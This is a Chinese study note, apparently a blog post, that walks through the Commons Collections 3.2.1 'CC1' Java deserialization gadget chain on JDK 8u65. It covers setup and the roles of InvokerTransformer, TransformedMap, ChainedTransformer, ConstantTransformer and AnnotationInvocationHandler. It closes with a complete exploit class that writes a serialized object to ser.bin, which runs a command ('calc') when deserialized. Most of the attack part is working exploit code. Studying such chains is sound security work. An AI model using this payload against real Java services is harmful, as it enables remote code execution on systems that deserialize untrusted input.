前言
这是一篇学习笔记,学习前辈们总结出的知识,感谢白日梦组长 CC1链手写EXP”)以及Drunkbaby师傅的博客,还有Drunkbaby师傅微信群里的各位的耐心解答,站在前人的肩膀上,学习着前辈们的知识,如果没有前人踩过的坑那么肯定我自己要多踩很多很多坑,感谢各位大佬的奉献!!!
CommonsCollections是什么
Apache Commons是Apache软件基金会的项目,曾经隶属于Jakarta
项目。Commons
的目的是提供可重用的、解决各种实际的通用问题且开源的Java代码。Commons由三部分组成:Proper
(是一些已发布的项目)、Sandbox
(是一些正在开发的项目)和Dormant
(是一些刚启动或者已经停止维护的项目)
具体介绍可以看闪烁之狐大佬的博客
环境搭建
由于该漏洞在JDK8u71后就被修复,遂使用8u65版本
JDK:
https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html
踩坑一:
官网点8u65下载下来是8u111,原因不明
解决方法:
把url链接中的cn删去,页面就切换成了英文,此时下载就是正确的
Maven导入
1 2 3 4 5
| <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency>
|
不能高于这个版本,不然漏洞就修了
OpenJDK
http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/af660750b2f4/
把下载的openjdk里 /share/classes/ 里面的 sun包 复制到 jdk1.8.0_65(先解压jdk里自带的src源码)
踩坑二:
按理来说点击下载源代码就能直接下载了,此处一直报错
解决方法一:
手动去Maven官网下载源码,而后点击右边那个按钮手动选择源代码
下载地址:https://maven.icm.edu.pl/artifactory/repo/commons-collections/commons-collections/3.2.1/commons-collections-3.2.1-sources.jar
解决方法二:
换阿里源,相关教程网上挺多的不在赘述
在分析链子之前,首先明确一下反序列化漏洞的思路
反序列化漏洞形成的原因是接收任意对象,执行readObject
尾部exec执行方法
有一个Transform接口
Ctrl+H查看这个接口的实现类,有一个invokerTranformer的实现类,这个实现类往下翻发现了以下代码:
,这个transform方法从构造函数中接收任何参数,造成了反射调用任意类,接下来我们尝试构造使用这个类弹计算器
弹计算器
可以看到他的有参构造需要接收三个参数
根据他的有参构造构成我们的payload
1 2 3 4 5 6 7 8
| public class CC1Test { public static void main(String[] args) { Runtime runtime = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}); invokerTransformer.transform(runtime); }
|
执行结果:
可以看到成功的执行了命令
寻找链子
右键——》find usages
查看有哪些不同名的类调用了transform方法,这里有24个
因为这个TransformedMap好几处都调用了,所以从这里开始入手,接下来去看看valueTransformer.checkSetValue
的 valueTransformer
是什么东西,找到构造函数进行查看
这个构造方法的功能有点像是动态代理里的调用处理器,他的构造函数是以protected修饰符修饰的,所以他的作用域局限为类内,我们就得去寻找谁调用了他,然后找到了decorate
1 2 3 4 5 6 7 8 9
| public static void main(String[] args) { Runtime runtime = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}); HashMap<Object,Object> map = new HashMap<>(); TransformedMap.decorate(map,null,invokerTransformer); }
|
接下来回过头去看checkSetValue,只有Abs….这个什么玩意调用了它
这是一个抽象类,是 TransformedMap
的父类,调用 checkSetValue
方法的类是 AbstractInputCheckedMapDecorator
类中的一个内部类 MapEntry
setValue()
实际上就是在 Map 中对一组 entry(键值对)进行 setValue()
操作。,
最后在AnnotationInvocationHandler这个类里面找到了readObject()方法中调用了setValue!
InvocationHandler
这个后缀,一般是在动态代理中用作动态代理中间处理,因为它继承了InvocationHandler
接口。
构造EXP
学到这里脑子有点乱,感觉似懂非懂的感觉,自己画了一遍流程图理了一下思路
现在我们明确了链首为AnnotationInvocationHandler,可以注意到这个类没写是public的,没写就是默认default,只能在当前包调用,所以我们就
readObject
的方法是类 AnnotationInvocationHandler
的,AnnotationInvocationHandler
的作用域为 default
,我们需要通过反射的方式来获取这个类及其构造函数,再实例化它
代码:
1 2 3 4 5 6 7 8 9 10 11 12
| InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}); HashMap<Object,Object> map = new HashMap<>(); map.put("key","wozhenshuai"); Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annotationInvocationHandlerConstructor = clazz.getDeclaredConstructor(Class.class,Map.class); annotationInvocationHandlerConstructor.setAccessible(true); Object o = annotationInvocationHandlerConstructor.newInstance(Override.class,transformedMap); serialize(o); unserialize("ser.bin");
|
这是理想状态下的EXP,但这是无法正常运行的,我们现在面临着三个问题:
Runtime
对象不可序列化,需要通过反射将其变成可以序列化的形式
setValue()
的传参,是需要传 Runtime
对象的;而在实际情况当中的 setValue()
的传参是这个东西:
- 要进入
setValue
的两个 if 判断
现在我们来逐个解决:
解决Runtime不能序列化
Runtime类是不能被序列化的,但是Runtime.Class是可以被序列化的,我们可以通过反射让Runtime进行序列化,这里回顾写一遍反射进行Runtime序列化
普通反射进行Runtime序列化
1 2 3 4
| Class c = Runtime.class; Method m = c.getMethod("exec", String.class); m.invoke(Runtime.getRuntime(), "calc");
|
现在将普通反射改造为InvokerTransformer类进行反射序列化
1 2 3 4 5 6 7 8 9
| Class c = Runtime.class;
Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}).transform(Runtime.class);
Runtime r = (Runtime)new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntimeMethod); new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);
}
|
这么写实在是不够优雅,观察到:
- 格式都为
new InvokerTransformer().invoke()
- 后一个
invoke()
方法里的参数都是前一个的结果
所以我们使用了ChainedTransformer类来优化我们的代码,这个类的代码如下,功能就是用来进行处理链式调用的
优化代码
1 2 3 4 5 6 7 8 9
| Transformer[] transformers = new Transformer[] { new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, new Object[0]}), new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"calc"}) };
ChainedTransformer ChainedTransformer = new ChainedTransformer(transformers);
|
使用ChainedTransformer优化代码后,顿时整洁了不少
绕过两个if
Runtime 的问题已经解决完毕。但是我们的 EXP 运行时不会弹出计算器,是因为我们的 EXP 并没有 transformer
的调用。我们可以调试一下,去看看问题出在哪里
可以看到代码在进行到第一个判断时member是空,所以没有执行我们想要的代码,直接走了出去,所以就要查找有成员方法的注解传进去,这里我没有看视频便自己尝试写代码,遂在群里问,得到了师傅们的解答
所以把参数也改成了Drunkbabyzhenshuai(
(开玩笑的,这里传什么都行,主要是在进行执行方法时候应把Override换成Target注解)以及innerMap.put传的第一个值必须为value
1 2 3 4 5 6 7 8 9 10 11 12
| Map innerMap = new HashMap(); innerMap.put("value", "Drunkbabyzhenshuai"); Map outerMap = TransformedMap.decorate(innerMap, null, ChainedTransformer);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true);
Object obj = constructor.newInstance(Target.class, outerMap); serialize(obj);
|
控制setvalue
我们绕过了以上两个if的判断,但是依旧无法命令执行,因为setValue()
处中的参数并不可控,指定了 AnnotationTypeMismatchExceptionProxy
类,是无法进行命令执行的,回到最开始找的时候,那时候有一个ConstantTransformer类,它的构造方法把传入的任何对象都放在 iConstant
中,然后无论传入什么都返回iConstant
1
| new ConstantTransformer(Runtime.class)
|
把以上代码加进数组中,构造出最终EXP
最终EXP代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
| package com.study;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;
import java.io.*; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Map;
public class CC1Test { public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, new Object[0]}), new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"calc"}) };
ChainedTransformer ChainedTransformer = new ChainedTransformer(transformers);
Map innerMap = new HashMap(); innerMap.put("value", "Drunkbabyzhenshuai"); Map outerMap = TransformedMap.decorate(innerMap, null, ChainedTransformer);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true); Object obj = constructor.newInstance(Target.class, outerMap); serialize(obj); } public static void serialize(Object obj) throws Exception { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); }
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
|
总结
入门CC链的第一条,学了两天看了两遍组长的视频才能理解,就像学驾照一样,考过的都觉得难,过了就感觉也就那样,轻州已过万重山